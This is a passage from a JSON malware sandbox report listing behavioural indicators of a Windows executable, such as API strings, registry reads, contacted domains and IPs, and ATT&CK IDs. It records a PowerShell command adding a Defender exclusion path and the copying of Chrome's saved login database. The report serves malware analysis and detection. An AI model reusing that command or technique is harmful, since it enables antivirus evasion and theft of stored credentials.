\"00004636.0000121C.35634271.00400000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform GET/POST network requests (xmlhttp)","description":"Found string \"Microsoft.XMLHTTP\" (Indicator: \"microsoft.xmlhttp\"; File: \"00004636.0000121C.35634271.00400000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-469","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information set for devices (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1480","relevance":1,"id":"string-533","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetDynamicTimeZoneInformation\" (Indicator: \"GetDynamicTimeZoneInformation\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; File: \"00000000-00004520.00000001.74685.00051000.00000002.mdmp\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00004204.00000000.71804.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00002972.00000000.72622.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"$48","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"Found string \"%PROCESSOR_ARCHITECTURE%\" (Indicator: \"%processor_architecture%\"; Source: \"00000000-00002972.00000000.72622.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"PathFileExistsA\" (Indicator: \"PathFileExist\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$49","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$4a","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"$4b","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Namecheap URL Forward\" (SID: 2035208, Rev: 3, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineW\" (Source: \"00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"RegSvcs.exe\" called \"CopyFileW\" to copy %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data to new location %APPDATA%\\Microsoft\\Windows\\Templates\\%OSUSER%-PC-%OSUSER%\\LoginData (UID: 00000000-00004636)\n \"RegSvcs.exe\" called \"CopyFileW\" to copy %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data to new location %APPDATA%\\Microsoft\\Windows\\Templates\\%OSUSER%-PC-%OSUSER%\\WebData (UID: 00000000-00004636)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$50","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"C:\\8aa7088ebe77e153597c1045f3e181f7bb\" - (UID: 00000000-00003968), \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\" - (UID: 00000000-00003968), \"SearchIndexer.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\SearchProtocolHost.exe\" Global\\UsGthrFltPipeMssGthrPipe1_ Global\\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646\" - (UID: 00000000-00004520)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"SearchIndexer.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\MsFteWds\" - (UID: 00000000-00004520)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$51","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"przvgke.biz\"\n \"anpmnmxo.biz\"\n \"www.anpmnmxo.biz\"\n \"lpuegx.biz\"\n \"vjaxhpbji.biz\"\n \"fwiwk.biz\"\n \"tbjrpv.biz\"\n \"gytujflc.biz\"\n \"nqwjmb.biz\"\n \"ytctnunms.biz\"\n \"myups.biz\"\n \"yunalwv.biz\"\n \"gvijgjwkh.biz\"\n \"brsua.biz\"\n \"dlynankz.biz\"\n \"mgmsclkyu.biz\"\n \"uaafd.biz\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"44.244.22.128:80\"\n \"50.16.27.236:80\"\n \"3.229.117.57:80\"\n \"172.237.146.38:80\"\n \"192.64.119.165:80\"\n \"91.195.240.19:80\"\n \"176.100.243.135:80\"\n \"54.146.6.253:80\"\n \"3.238.30.69:80\"\n \"172.233.219.78:80\"\n \"3.250.92.156:80\"\n \"34.229.166.50:80\"\n \"104.156.155.94:80\"\n \"52.43.119.120:80\"\n \"54.85.87.184:80\"\n \"165.160.15.20:80\"\n \"34.209.195.255:80\"\n \"52.212.150.54:80\"\n \"85.214.228.140:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"C:\\Users\\Administrator\\Desktop\\Client\\Temp\\dElucLcTpm\\src\\obj\\x86\\Debug\\GJE.pdb\"\n \"SearchIndexer.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$52","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to copy files (API string)","description":"Found reference to API \"CopyFile\" (Indicator: \"CopyFile\"; File: \"00004636.0000121C.35634271.00400000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-449","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcess\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004204.00000000.71804.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: AcroRd32.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: wmpnetwk.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: 7zG.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: dwtrig20.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: Aut2exe_x64.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: setup.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: LogTransport2.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; File: \"00004636.0000121C.35638715.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LogonUserW\" (Indicator: \"LogonUser\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp\")\n Found reference to API \"MoveFileEx\" (Indicator: \"MoveFile\"; Source: \"00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$5c","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileW in import section (Source: chrmstp.exe)\n Found MoveFileExW in import section (Source: AcroRd32.exe)\n Found MoveFileExW in import section (Source: elevation_service.exe)\n Found MoveFileW in import section (Source: 7zG.exe)\n Found MoveFileW in import section (Source: 7z.exe)\n Found MoveFileW in import section (Source: notification_helper.exe)\n Found MoveFileW in import section (Source: updater.exe)\n Found MoveFileExW in import section (Source: WatAdminSvc.exe.bin)","origin":"Static 